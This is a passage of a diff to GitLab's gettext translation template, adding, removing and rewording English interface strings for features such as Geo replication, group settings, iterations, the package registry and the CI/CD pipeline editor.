-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14746,6 +14398,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14845,9 +14500,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -14920,6 +14572,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -14929,6 +14587,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14959,9 +14620,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14983,6 +14641,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15523,9 +15190,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15571,6 +15235,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15592,9 +15265,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15625,6 +15295,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15694,13 +15367,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15736,9 +15406,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16051,18 +15718,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16087,6 +15751,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16126,13 +15793,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16315,6 +15982,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16431,6 +16101,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16514,9 +16187,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16664,6 +16334,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16842,9 +16515,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17348,13 +17018,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17444,9 +17117,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17600,6 +17270,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17612,6 +17294,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17651,6 +17336,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17666,9 +17354,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17681,12 +17366,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17707,6 +17386,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17749,9 +17431,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17791,12 +17470,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17821,9 +17512,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17974,6 +17662,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18049,25 +17740,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18076,13 +17749,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18103,7 +17773,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18112,9 +17782,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18139,6 +17806,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18550,18 +18220,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18571,6 +18259,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18583,6 +18274,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18601,9 +18298,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18703,9 +18406,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18754,6 +18463,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18844,9 +18556,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -18874,18 +18583,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -18997,9 +18694,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19159,9 +18853,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19392,9 +19083,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19602,6 +19290,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19823,6 +19514,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20057,6 +19751,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20075,9 +19778,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20297,9 +19997,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20369,6 +20066,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20390,6 +20090,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20402,6 +20105,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20462,9 +20168,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21241,9 +20944,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21384,9 +21084,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21645,9 +21342,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21821,9 +21515,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21872,7 +21563,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -21929,13 +21620,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22132,9 +21823,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22153,7 +21841,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22462,9 +22150,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22651,9 +22336,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -22788,9 +22470,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23426,10 +23105,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23507,6 +23186,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23537,6 +23219,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23561,9 +23249,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23615,6 +23300,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23624,15 +23312,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23678,6 +23366,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23708,6 +23402,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23900,9 +23600,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24107,10 +23804,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24122,9 +23819,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24134,16 +23828,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24263,10 +23963,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24284,12 +23984,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24401,9 +24107,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24554,13 +24257,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24605,10 +24308,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24620,6 +24323,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25232,6 +24941,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25517,9 +25229,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
